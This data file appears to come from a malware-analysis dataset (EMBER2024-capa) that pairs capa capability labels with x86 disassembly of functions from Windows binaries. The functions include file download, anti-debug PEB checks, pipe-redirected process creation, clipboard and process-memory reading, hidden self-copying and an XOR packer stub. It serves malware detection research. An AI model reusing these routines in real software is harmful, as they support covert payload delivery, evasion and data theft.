joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48b0ec
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x48b16f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48b14d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov ecx, dword [esi + 0x38]
mov edx, dword [esi + 0x34]
lea eax, [ebp - 4]
call fcn.00404e04
mov eax, dword [ebp - 4]
call fcn.00404fb0
push eax
mov eax, dword [esi + 0x30]
call fcn.00404fb0
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
je 0x48b143
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48b159
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48b176
lea eax, [ebp - 4]
call fcn.00404b00
ret

Function at 0x48df04
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe78
push ebx
push esi
push edi
test dl, dl
je 0x48df1c
add esp, 0xfffffff0
call fcn.00404074
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov cl, 1
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.0041e440
xor ecx, ecx
mov dl, 1
mov eax, dword [0x46cc14]
call fcn.0046cfd4
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x30], ebx
mov dword [ebx + 0xa0], 0x8000
mov dword [ebx + 0xa8], 0x8000
xor ecx, ecx
mov dl, 1
mov eax, dword [0x46d1dc]
call fcn.0046d2f4
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x34], ebx
mov eax, ebx
mov edx, 0x200
call fcn.0046dcbc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov dl, 4
call fcn.0046dd88
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov edx, dword [ebp - 4]
mov dword [eax + 0xcc], edx
mov dword [eax + 0xc8], 0x48de7c
mov eax, 0x81
call fcn.00402744
mov ebx, eax
mov edx, ebx
mov eax, edx
mov word [eax], 0x31
mov word [eax + 2], 1
mov dword [eax + 4], 0x1f40
mov dword [eax + 8], 0x659
mov word [eax + 0xc], 0x41
mov word [eax + 0xe], 0
mov word [eax + 0x10], 2
mov eax, edx
lea edx, [ebp - 0x105]
mov ecx, 0x81
call fcn.004029ac
mov byte [ebp - 0xf4], 0
mov byte [ebp - 0xf3], 0x40
mov byte [ebp - 0xf2], 1
lea edx, [ebp - 0x186]
lea eax, [ebp - 0x105]
mov ecx, 0x81
call fcn.004029ac
mov eax, ebx
call fcn.00402764
xor eax, eax
push ebp
push 0x48e048
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
lea edx, [ebp - 0x186]
call fcn.0046d514
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48e05d
mov eax, dword [0x49e964]
mov byte [eax], 1
mov eax, dword [ebp - 4]
mov byte [eax + 0xf], 1
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.0041e78c
mov eax, dword [ebp - 4]
cmp byte [ebp - 5], 0
je 0x48e08e
call fcn.004040cc
pop dword fs:[0]
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48efe8
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
xor eax, eax
push ebp
push 0x48f0ba
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov dword [ebp - 8], eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x4a5d9c
push 0x4a5d98
call sub.kernel32.dll_CreatePipe
push 0
lea eax, [ebp - 0xc]
push eax
push 0x4a5da4
push 0x4a5da0
call sub.kernel32.dll_CreatePipe
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x50]
xor ecx, ecx
mov edx, 0x44
call fcn.00403288
mov dword [ebp - 0x50], 0x44
mov eax, dword [0x4a5d9c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x4a5da0]
mov dword [ebp - 0x18], eax
mov eax, dword [0x4a5d9c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], 0x101
mov word [ebp - 0x20], 0
push 0x4a5da8
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x48f0c8
push 0
call sub.kernel32.dll_CreateProcessA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48f0c1
ret

Function at 0x48f140
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ecx
mov esi, edx
mov eax, dword [ebp - 4]
call fcn.00404fa0
xor eax, eax
push ebp
push 0x48f1b7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404db8
mov ebx, eax
inc ebx
lea eax, [ebp - 0xc]
mov ecx, 0x48f1cc
mov edx, dword [ebp - 4]
call fcn.00404e04
mov eax, dword [ebp - 0xc]
call fcn.00404fb0
push 0
lea edx, [ebp - 8]
push edx
push ebx
push eax
push esi
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48f1be
lea eax, [ebp - 0xc]
call fcn.00404b00
lea eax, [ebp - 4]
call fcn.00404b00
ret

Function at 0x48f294
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov eax, edi
call fcn.00404b00
push 0
call sub.user32.dll_OpenClipboard
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x48f2de
push 1
call sub.user32.dll_GetClipboardData
mov ebx, eax
test ebx, ebx
je 0x48f2d9
push ebx
call sub.kernel32.dll_GlobalLock
mov esi, eax
test esi, esi
je 0x48f2d9
mov eax, edi
mov edx, esi
call fcn.00404cf0
push ebx
call sub.kernel32.dll_GlobalUnlock
call sub.user32.dll_CloseClipboard
pop edi
pop esi
pop ebx
ret
Function at 0x48f2e4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x48f416
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x414340]
call fcn.00403ce0
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x48f3f1
push dword fs:[edx]
mov dword fs:[edx], esp
mov esi, 0x65
mov eax, 0x4a5a04
xor edx, edx
mov dword [eax], edx
add eax, 4
dec esi
jne 0x48f337
xor esi, esi
push 0
mov eax, ebx
call fcn.0043b984
push eax
call sub.user32.dll_GetWindow
mov ebx, eax
test ebx, ebx
je 0x48f3d0
push 0xff
lea eax, [ebp - 0x107]
push eax
push ebx
call sub.user32.dll_GetWindowTextA
test eax, eax
jle 0x48f3c2
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x107]
mov ecx, 0xff
call fcn.00404d68
mov eax, dword [ebp - 0x10c]
mov edx, 0x48f42c
call fcn.00404efc
je 0x48f3c2
mov dword [esi*4 + 0x4a5a04], ebx
inc esi
lea eax, [ebp - 0x110]
lea edx, [ebp - 0x107]
mov ecx, 0xff
call fcn.00404d68
mov edx, dword [ebp - 0x110]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 2
push ebx
call sub.user32.dll_GetWindow
mov ebx, eax
test ebx, ebx
jne 0x48f358
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48f3f8
mov eax, dword [ebp - 8]
call fcn.00403d10
ret

Function at 0x48f6e0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x48f743
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x20], 0x20
lea eax, [ebp - 0x20]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [ebp - 0x18]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x24]
call fcn.00409248
mov edx, dword [ebp - 0x24]
mov eax, ebx
mov ecx, 0x48f758
call fcn.00404e04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48f74a
lea eax, [ebp - 0x24]
call fcn.00404b00
ret
Function at 0x48f808
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push ebp
push 0x48f9a1
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x48f97f
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x414340]
call fcn.00403ce0
mov dword [ebp - 8], eax
mov bl, 0x43
mov eax, ebx
call fcn.0048f75c
test al, al
je 0x48f955
mov byte [ebp - 3], bl
mov byte [ebp - 2], 0x3a
mov byte [ebp - 1], 0
lea eax, [ebp - 3]
push eax
call sub.kernel32.dll_GetDriveTypeA
mov esi, eax
cmp esi, 2
jne 0x48f893
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00404ce0
lea eax, [ebp - 0xc]
mov edx, 0x48f9b8
call fcn.00404dc0
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
cmp esi, 3
jne 0x48f8ba
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00404ce0
lea eax, [ebp - 0x10]
mov edx, 0x48f9c4
call fcn.00404dc0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
cmp esi, 4
jne 0x48f8e1
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00404ce0
lea eax, [ebp - 0x14]
mov edx, 0x48f9d0
call fcn.00404dc0
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
cmp esi, 5
jne 0x48f908
lea eax, [ebp - 0x18]
mov edx, ebx
call fcn.00404ce0
lea eax, [ebp - 0x18]
mov edx, 0x48f9dc
call fcn.00404dc0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
cmp esi, 6
jne 0x48f92f
lea eax, [ebp - 0x1c]
mov edx, ebx
call fcn.00404ce0
lea eax, [ebp - 0x1c]
mov edx, 0x48f9b8
call fcn.00404dc0
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
test esi, esi
jne 0x48f955
lea eax, [ebp - 0x20]
mov edx, ebx
call fcn.00404ce0
lea eax, [ebp - 0x20]
mov edx, 0x48f9b8
call fcn.00404dc0
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
cmp bl, 0x5b
jne 0x48f847
mov edx, edi
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48f986
mov eax, dword [ebp - 8]
call fcn.00403d10
ret
Function at 0x491124
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fa0
mov eax, dword [ebp - 8]
call fcn.00404fa0
xor eax, eax
push ebp
push 0x491301
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4912ca
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x414340]
call fcn.00403ce0
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 4]
call fcn.00404fb0
push eax
push 0
call sub.user32.dll_FindWindowA
mov ebx, eax
push ebx
call sub.user32.dll_IsWindow
test eax, eax
jne 0x4911a1
call fcn.00404588
jmp 0x4912d1
lea eax, [ebp - 0x1c]
push eax
push ebx
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 0x1c]
push eax
push 0
push 0x418
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4911ce
call fcn.00404588
jmp 0x4912d1
lea eax, [ebp - 0x4c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], eax
push 0x1c
lea eax, [ebp - 0x68]
push eax
push ebx
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_VirtualQueryEx
mov esi, dword [ebp - 0x5c]
cmp dword [ebp - 0x58], 0x1000
jne 0x49129a
cmp dword [ebp - 0x54], 4
jne 0x49129a
lea eax, [ebp - 0x24]
mov edx, esi
call fcn.0040513c
lea eax, [ebp - 0x14]
push eax
push esi
mov eax, dword [ebp - 0x24]
call fcn.00404fb0
push eax
push ebx
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x49129a
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 8]
call fcn.004050f4
test eax, eax
je 0x49129a
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 8]
call fcn.004050f4
mov dword [ebp - 0x18], eax
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x18]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
lea edx, [ebp - 0x6c]
mov eax, 2
call fcn.004092b8
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x70]
push eax
mov ecx, 0x400
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
call fcn.00405010
mov edx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, ebx
add eax, esi
mov ebx, eax
cmp eax, dword [ebp - 0x10]
jb 0x4911e0
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4912d1
mov eax, dword [ebp - 0x28]
call fcn.00403d10
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x491308
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.00404b24
lea eax, [ebp - 0x24]
call fcn.00404b00
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404b24
ret
Function at 0x491310
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fa0
mov eax, dword [ebp - 8]
call fcn.00404fa0
xor eax, eax
push ebp
push 0x4914c2
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x49148b
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x414340]
call fcn.00403ce0
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 4]
call fcn.00491028
push eax
push 0
push 0x418
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x49138f
call fcn.00404588
jmp 0x491492
lea eax, [ebp - 0x48]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10], eax
push 0x1c
lea eax, [ebp - 0x64]
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_VirtualQueryEx
mov esi, dword [ebp - 0x58]
cmp dword [ebp - 0x54], 0x1000
jne 0x49145b
cmp dword [ebp - 0x50], 4
jne 0x49145b
lea eax, [ebp - 0x20]
mov edx, esi
call fcn.0040513c
lea eax, [ebp - 0x14]
push eax
push esi
mov eax, dword [ebp - 0x20]
call fcn.00404fb0
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x49145b
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 8]
call fcn.004050f4
test eax, eax
je 0x49145b
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 8]
call fcn.004050f4
mov dword [ebp - 0x18], eax
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x18]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
lea edx, [ebp - 0x68]
mov eax, 2
call fcn.004092b8
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x6c]
push eax
mov ecx, 0x400
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
call fcn.00405010
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, ebx
add eax, esi
mov ebx, eax
cmp eax, dword [ebp - 0x10]
jb 0x4913a1
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x491492
mov eax, dword [ebp - 0x24]
call fcn.00403d10
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4914c9
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.00404b24
lea eax, [ebp - 0x20]
call fcn.00404b00
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404b24
ret
Function at 0x49697c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 4], eax
lea edi, [ebp - 0x5f]
xor eax, eax
push ebp
push 0x496a45
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
lea eax, [ebp - 4]
mov edx, 0x496a60
call fcn.00404b98
push 0
mov eax, dword [ebp - 4]
call fcn.00404fb0
push eax
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0x32
push edi
push ebx
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 0x64]
mov edx, edi
mov ecx, 0x5b
call fcn.00404d68
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp - 4]
call fcn.00404efc
jne 0x496a14
push 0x5a
push edi
push ebx
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x68]
mov edx, edi
mov ecx, 0x5b
call fcn.00404d68
mov edx, dword [ebp - 0x68]
mov eax, 0x496a74
call fcn.004050f4
test eax, eax
je 0x496a14
mov esi, ebx
jmp 0x496a22
push 2
push ebx
call sub.user32.dll_GetWindow
mov ebx, eax
test ebx, ebx
jne 0x4969c2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496a4c
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.00404b24
lea eax, [ebp - 4]
call fcn.00404b00
ret

Function at 0x496a7c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 4], eax
lea edi, [ebp - 0x5f]
xor eax, eax
push ebp
push 0x496b45
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
lea eax, [ebp - 4]
mov edx, 0x496b60
call fcn.00404b98
push 0
mov eax, dword [ebp - 4]
call fcn.00404fb0
push eax
call sub.user32.dll_FindWindowA
mov ebx, eax
push 0x32
push edi
push ebx
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 0x64]
mov edx, edi
mov ecx, 0x5b
call fcn.00404d68
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp - 4]
call fcn.00404efc
jne 0x496b14
push 0x5a
push edi
push ebx
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 0x68]
mov edx, edi
mov ecx, 0x5b
call fcn.00404d68
mov edx, dword [ebp - 0x68]
mov eax, 0x496b74
call fcn.004050f4
test eax, eax
je 0x496b14
mov esi, ebx
jmp 0x496b22
push 2
push ebx
call sub.user32.dll_GetWindow
mov ebx, eax
test ebx, ebx
jne 0x496ac2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496b4c
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.00404b24
lea eax, [ebp - 4]
call fcn.00404b00
ret
Function at 0x496c08
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x496c10
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x496e03
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
mov edx, dword [0x49ea3c]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x1c]
call fcn.004092f8
lea edx, [ebp - 0x18]
call fcn.0045ad14
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 4]
pop edx
call fcn.00404e04
lea eax, [ebp - 0x28]
mov edx, dword [0x49eb50]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x28]
call fcn.004092f8
lea edx, [ebp - 0x24]
call fcn.0045ad14
push dword [ebp - 0x24]
push 0x496e1c
lea eax, [ebp - 0x2c]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
push dword [ebp - 0x2c]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404e78
mov eax, dword [ebp - 8]
call fcn.00409564
test al, al
jne 0x496d01
xor eax, eax
push ebp
push 0x496cf7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 8]
call fcn.00404fb0
mov ebx, eax
push ebx
mov eax, dword [ebp - 4]
call fcn.00404fb0
push eax
call sub.kernel32.dll_CopyFileA
push 6
push ebx
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496d01
xor eax, eax
push ebp
push 0x496dc3
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00496a7c
test eax, eax
jne 0x496db9
push 0
mov eax, dword [ebp - 8]
call fcn.00404fb0
mov edx, eax
lea eax, [ebp - 0x30]
call fcn.00404cf0
mov ecx, dword [ebp - 0x30]
mov dl, 1
mov eax, dword [0x414540]
call fcn.00418f4c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x496db2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
call fcn.00418a70
push eax
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x496be8]
call fcn.004061b4
add esp, 4
mov eax, dword [ebp - 0x10]
call fcn.00418a70
mov ecx, eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
call fcn.00418c68
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00418a70
mov edx, eax
mov eax, dword [ebp - 0xc]
xor ecx, ecx
call fcn.00489540
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496db9
mov eax, dword [ebp - 0x10]
call fcn.00403d10
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496dcd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496e0a
lea eax, [ebp - 0x30]
mov edx, 7
call fcn.00404b24
lea eax, [ebp - 0xc]
mov edx, dword [0x496be8]
call fcn.004062d4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404b24
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x42e072
nop
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2a993b12
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x4359366f
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret